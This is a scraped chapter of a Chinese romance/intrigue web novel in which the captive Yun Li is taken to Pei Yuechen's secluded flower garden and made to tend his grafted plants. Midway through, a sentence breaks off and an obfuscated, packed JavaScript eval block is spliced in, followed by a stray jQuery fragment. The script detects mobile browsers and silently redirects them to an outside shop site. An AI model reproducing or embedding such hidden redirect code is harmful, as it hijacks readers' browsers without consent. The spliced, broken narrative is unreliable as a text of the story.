文趣网 > 其他小说 > 雪满长安道 > 39. 花圃
    “你又想做什么?”云离被他坑过一次,警惕得很。

    “替我照看花苗。”裴越尘说道:“就在后面的园子里。如今正是适合栽植的时节,方才嫁接完,须得人细心照料。你若照顾得好,我便叫人依着兵服的样式做新的给你。”

    云离自然是不信的:“我?种花?你认真的么,你家难道还缺个花匠?”

    何况她自幼连根草也没有养过,何谈养花?

    “此事岂能交给粗鄙的花匠。”裴越尘嗤道。

    “那为什么是我?”云离更加不解了。

    “此花娇贵得很,卑贱之人不能碰触,而杜氏三代簪缨,家世尚可,勉强配得上它。”他慢条斯理地说,表情那么平静,说出来的话却能气死人。

    卑贱之人不能碰触?杜氏家世尚可?景玉风姿虽美,云离却顿时也没了好感,真是什么样的人种什么样的花,作!

    “你怎么不自己照看?”既无好感,自然是不愿意照顾的。

    “近来甚是忙碌。”

    “那还有紫苏啊。”云离心里是极其抗拒的:“你能使唤的人不在少数吧?”

    “其他人没你这么好拿捏。”裴越尘瞥了她一眼,幽深的眼眸里满是不耐烦,显然是耐心告罄了:“你不愿意便罢了,我再找别的人便是,我看你穿着这身裙子也挺合适的。”

    他说完,起身向外走。

    身后立即传来哗啦啦的铁链声,云离从屏风后跑出来,急切地说:“我去我去。你说好的,按着先前样式做新的给我!”

    说完她就不得不自嘲贱骨头,人家好好地跟她说,她不愿意;偏等他不耐烦了拿话激她,她自己又怂了。

    裴越尘勾起唇角,但转过身,却又是一脸平淡的表情。

    “为何你一定要扮成那种不男不女的样子?”裴越尘道:“我着实好奇得很。”

    “不关你事。”云离拒绝回答:“你只消告诉我那些花该怎么照料?”

    云离是第一次出房间。平日她透过窗格,只能看到院子及对面的二层小楼;今日才发现宅子四周种满了高大的树木,遮住了视线,以致无从猜测宅子在京城哪个方向。

    她自诩对京城无比熟悉,却不记得京中曾有这种被参天古木包围的宅子。裴氏主宅及别院她都去过,也并没有哪一处藏得这么严密。

    约莫是皱眉君的私宅,她心里已暗暗作了判断。

    “穿着这样华贵的裙子,不要走得这么难看。”裴越尘突然回头,嫌弃地看了她一眼。

    “你要是也戴个脚镣,优雅地走给我看看?”云离白了他一眼。他防着她逃跑,给她脚腕上套了脚镣,又重又磨脚,走路姿态怎能好看得起来。

    再说这裙子也是他硬要塞给她,并不是她自愿穿的,都是他的责任,竟然还好意思嫌弃她。

    云离不由得想试试把他的花都养死掉,看看他的反应。

    “若它们有半点损伤,”她并没有说出口,他竟然猜到了,威胁她道:“你这辈子也别再想见到忆良。”

    云离是抱持着这辈子也不能再见到忆良的心态回到长平的,可一旦活下来,就再也决绝不起来了。

    总有一天能再回到他身边,便是如今这般屈辱地活着,也能忍下去。

    裴越尘拿这一桩来威胁她,恰到好处地抓到了她的弱点。

    “……要怎么做,你能放我回到他身边?”她抬起眼望着他。提到忆良,她就不再是那个疯疯癫癫的杜氏云离了,突然之间成熟稳重许多。

    “等哪天你哄得我高兴了再说罢。”他懒懒地回答,推开花圃的大门:“到了。”

    穿过内院,走了许久的长廊,又步过一弯拱桥,他们才到了花圃门外。

    需要藏得这么小心翼翼么?云离不禁腹诽。

    但对皱眉君的喜好,着实无可挑剔。池子边一方古拙黄石,园子里几只仙鹤,花圃矮墙外一丛丛挺拔修竹,这是故去的杜尚书所喜爱的;只可惜他生了云离这样的女儿,但凡娇贵精巧一些的物事,都能被她糟蹋得不成样子,他悉心照料了十几年的外院,始终未能变成皱眉君这样的园子。

    墙上嵌着一扇圆形月门,四扇狭长的门板遮住了内里风光。门两边各有一位侍女,垂首站着,见着裴越尘,便取出钥匙开锁,将门向里推开。

    说是花圃,其实是又一个园子,进门便是岸,一个种了许多莲花的池子将对岸的屋宇长廊与月门隔开。岸边系着一叶轻舟,云离四下里打量了一番,发现除了它,没有别的路径可以去对岸。

    裴越尘先上了船,继而转过身来,向她伸出手。

    谁要他扶?这般虚伪的君子模样做给谁看?

    要不是他强行要她带脚镣,她可比他轻巧多了。

    云离翻了个白眼,避过他的手,拎起裙摆,费力地抬起脚,登上小船。

    裴越尘无比自然地收回手,说道:“年轻女郎翻白眼很难看。”

    云离故意又翻了个白眼。

    裴越尘便懒得理她了,撑起长杆,向水里压下去。其时他颇有翩翩佳公子的风范,可惜云离太厌恶他,便只觉他惺惺作态,令人作呕。

    舟行莲叶间,本是一幅美好的场景,只是若一同乘船的人不是皱眉君,而是忆良就好了,云离心想。

    水面上漂浮着数朵睡莲,点缀在精巧的叶片里,看起来十分雅致。

    池子并不很大,不过片刻,他们已到了对岸。裴越尘在船头,自是又先上岸,并且又十分自然地向她伸出手来。

    云离依旧是一个白眼翻过去,费力地踩过船舷,走到岸上。

    两旁高大的树木生长着浓密的树叶,将眼前的房屋遮掩了大半,但当她走到台阶前,一抬头,便发现这屋子是间重檐庑殿,屋脊两端装饰着鸱吻,只是比圣善寺简朴许多。

    云离一时满怀欣喜。

    庑殿是皇宫或者皇族寺庙里才能出现的样式,而重檐更不用说,非皇帝所居之处不可用。皱眉君长了几个胆子,竟然敢私建这样的房子,莫不是早有造反之心?

    她的激动尚未全然传递到唇角,就被皱眉君泼了一盆冷水:“这么开心地盯着它看,是以为我想造反,才做了这般僭越形制的宫殿么?”

    “难道不是?”云离没想到他竟然这般坦白,并不藏着掖着,转念一想莫非想着反正也藏不住了,不如破罐子破

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17711017|208419||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    摔?

    若果真如此,那她岂不是从一开始就没有机会离开这里?皱眉君怎么会允许知道了这种秘密的人离开呢?

    “自然不是。这种天下,造反有什么意义?”裴越尘嗤道。

    他一脸不屑的表情,显得完全无心权势似的。

    “那这又是为了什么?”云离指向屋顶:“你的话一点说服力也没有。”

    “我并没有建造它。”裴越尘答道:“它原本就在这里。”

    “就算它本就在这里,这种宅子,你也敢随便住?”云离是不信的:“你老实告诉我,你是不是本来就没想让我活着出去。”

    “我的宅子,我怎么住不得?至于如何处置你——你这颗脑袋现在不仅比以前难看,也比以前更蠢笨些,我劝你多花些心思在自己身上。”他又皱起了眉头,显出不耐烦的样子,即使稍纵即逝,双眉很快又舒展开来:“走罢,我们还有正经事。”

    养花是正经事?比起僭越,还有更正经的事么?

    竟然还讽刺她,实在太让人生气了!

    可皱眉君已经不理她,走到长廊上去了。云离咬牙切齿,可一个巴掌拍不响,不得不跟了上去。

    就算他要害她的命吧,那也不是急于这一两天的事,她还有时间慢慢弄清楚这个问题。

    这里又是一个三进的小宅子,左右各一道长廊,直指内院后边的花园。这里比前头的园子还要幽静些,房屋的样子也更加古朴,云离行走在其间,一恍惚便觉得自己似乎身于数百年前。

    花园的中间是一个个养花的亭子,四面垂着轻纱和帘子;两侧则是宽大空旷的屋子,用可以拆卸的隔扇围了起来。裴越尘走到最远的那一个亭子前,卷起帘子,露出里面其貌不扬的花枝来。

    “照顾它们,直到开花,”他对云离说道:“你想穿什么,就穿什么。”

    云离不乐意:“就知道你会给我挖坑。天气这么冷了,马上就要进入冬天,它怎么会开花?你是故意耍我的吧?我看起来像那种傻子么?”

    “便是大雪满地,它也能开出花来,并不像你说的那么难。”他侧首,目光落在丝毫看不出盛放风姿的花枝上,语气变得极其温柔:“若是有心,花朵很快就能绽放。”

    大雪满地也会开花?云离不由得想起了会云山里的幻境,少年笑着说他喜欢的女子不信景玉在冬天也会绽放。这些看起来很普通的花枝就是景玉吧?

    不是坑她就好。

    若是云离经验再丰富些,一定会问裴越尘,很快是指多久。

    然而此时的她还是稚嫩了些,并没有想到。

    “我应该怎么做?”她很务实地立即进入了花匠的角色。

    “我做一遍给你看。”裴越尘道:“看完告诉我,你记得多少。”

    虽说是他强行要云离来照顾牡丹,可终究不放心她的笨手笨脚,细细地从头到脚讲解,并亲身示范了一番。

    他纵然生了一副好皮囊,可卷起袖子露出半截胳膊,弯着腰松土的样子,也不过是个好看些的花匠罢了,沾了泥也是能显出些许卑微的。

    云离心里不待见他,他的任何狼狈都只令她觉得快意。